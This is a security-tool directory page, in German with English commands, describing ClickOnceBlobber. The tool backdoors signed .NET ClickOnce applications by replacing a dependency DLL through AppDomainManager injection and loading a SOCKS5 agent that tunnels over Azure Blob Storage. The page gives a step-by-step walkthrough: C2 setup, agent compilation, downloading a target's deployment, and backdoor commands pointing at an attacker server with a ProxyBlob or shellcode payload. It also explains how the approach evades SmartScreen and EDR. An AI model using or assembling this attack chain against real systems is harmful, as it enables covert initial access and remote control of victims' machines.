Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ClickOnceBlobber — Bewaffnen Sie signierte .NET ClickOnce-Anwendungen für den initialen Zugriff, indem Sie eine abhängige DLL per AppDomainManager-Injection kapern und einen C#-Port des ProxyBlob-Agenten laden. | Kitploit
Tools/GitHubGitHub/dazzyddos/clickonceblobber
Command and ControlSocial EngineeringRed TeamingPayload-Entwicklung
GitHubdazzyddos/clickonceblobber

ClickOnceBlobber

Bewaffnen Sie signierte .NET ClickOnce-Anwendungen für den initialen Zugriff, indem Sie eine abhängige DLL per AppDomainManager-Injection kapern und einen C#-Port des ProxyBlob-Agenten laden.

Repository anzeigen
1682212vor 7 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ClickOnce AppDomainManager Injektions-Toolkit

Waffnen Sie signierte .NET ClickOnce-Anwendungen für den Erstzugriff, indem Sie eine Abhängigkeits-DLL per AppDomainManager-Injection kapern und einen C#-Port des ProxyBlob-Agenten laden. Enthält einen C#-Port von ProxyBlob – einen SOCKS5-Proxy, der den gesamten Verkehr durch Azure Blob Storage tunnelt und sich in Umgebungen einfügt, in denen *.blob.core.windows.net auf der Whitelist steht.

Warum das funktioniert

ClickOnce ist Microsofts Ein-Klick-Bereitstellungstechnologie für .NET-Apps. Wenn ein Benutzer auf eine .application-URL klickt, lädt Windows die App herunter und führt sie aus, ohne dass Administratorrechte erforderlich sind. Der Angriff:

  1. Nehmen Sie eine legitime, signierte ClickOnce-Anwendung mit bestehendem Ruf
  2. Ersetzen Sie eine ihrer Abhängigkeits-DLLs durch den ProxyBlob SOCKS5-Agenten
  3. Injecten Sie eine .exe.config, die der CLR sagt, unsere DLL als AppDomainManager zu laden
  4. Patchen Sie die Manifest-Hashes, um mit unseren neuen Dateien übereinzustimmen
  5. Hosten Sie es – das Opfer klickt auf den Link, erhält eine echt aussehende App, und Sie erhalten einen SOCKS5-Tunnel

Die Host-.exe bleibt unberührt und gültig signiert. SmartScreen sieht eine bekannte Binärdatei. EDR sieht einen vertrauenswürdigen Prozess, der Module lädt. Ihr Agent kommuniziert nur mit Azure Blob Storage über HTTPS.

Repository-Struktur

├── clickonce_backdoor.py              # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│   ├── ProxyBlobAgent.cs              # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # Standalone Proxyblob console agent (for testing)
│   ├── ShellcodeLoader.cs             # Alternative: shellcode loader payload
│   └── MessageBoxPoC.cs               # PoC: message box (validates injection works)
└── README.md

Voraussetzungen

Angreifer (Linux/macOS):

  • Python 3.10+
  • ProxyBlob-Proxy (Go-Binärdatei)
  • Azure Storage-Konto (oder Azurite für lokale Tests)

Build-Maschine (Windows):

  • .NET Framework csc.exe – befindet sich unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (automatisch erkannt)
  • NuGet CLI – Download, legen Sie nuget.exe neben das Skript oder fügen Sie es zum PATH hinzu (nur für --proxyblob-Modus erforderlich)

Das Skript erkennt csc.exe und nuget.exe automatisch. Für --proxyblob werden BouncyCastle und ILMerge beim ersten Durchlauf automatisch über NuGet in ein packages/-Verzeichnis neben dem Skript installiert (bleibt über Durchläufe hinweg erhalten).

Architekturunterstützung

Der Agent-Code ist architekturneutral (kein P/Invoke, kein Shellcode). Das --platform-Flag (an csc.exe /platform: übergeben) steuert, wie die CLR es lädt:

--platformLäuft auf x86 WindowsLäuft auf x64 WindowsWann verwenden
x86 (default)32-bit32-bit (WoW64)Ziel-App ist x86
x64✗64-bitZiel-App ist x64
anycpu32-bit64-bitStandalone-Tests oder Ziel ist AnyCPU

Überprüfen Sie eine Ziel-App mit corflags.exe TargetApp.exe, um ihre Plattform zu ermitteln.


Verwendung: End-to-End-Walkthrough

Schritt 1 — Azure-Speicher einrichten

# Create storage account
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# Get keys
az storage account keys list --account-name yourblobaccount --output table

Oder verwenden Sie Azurite lokal:

docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

Schritt 2 — ProxyBlob-Proxy starten

git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

In der Proxy-Shell:

proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Speichern Sie diese Verbindungszeichenfolge – sie kommt in den Agenten.

Schritt 3 — Zuerst mit Standalone-Agent testen

Überprüfen Sie immer, ob der Agent unabhängig funktioniert, bevor Sie ihn in ClickOnce integrieren.

Auf der Windows-Build-Maschine:

# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# Run
Agent.exe <connection-string>

Zurück auf dem Proxy:

proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080

Test:

proxychains curl http://ipconfig.io

Wenn das funktioniert, fahren Sie mit der ClickOnce-Integration fort.

Schritt 4 — Eine Ziel-ClickOnce-App finden

Finden Sie während der Aufklärung eine Ziel-ClickOnce-App (suchen Sie nach .application-URLs). Sie benötigen:

Laden Sie die gesamte ClickOnce-Bereitstellung herunter:

# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Schritt 5 — Bauen und Patchen in einem Befehl

Das Skript kompiliert den C#-Quellcode automatisch, verwaltet NuGet-Abhängigkeiten (für --proxyblob), führt ILMerge für BouncyCastle in die DLL durch und patcht alle Manifeste – alles in einem Durchlauf:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# Shellcode mode
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# x64 target app
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

Tool herunterladen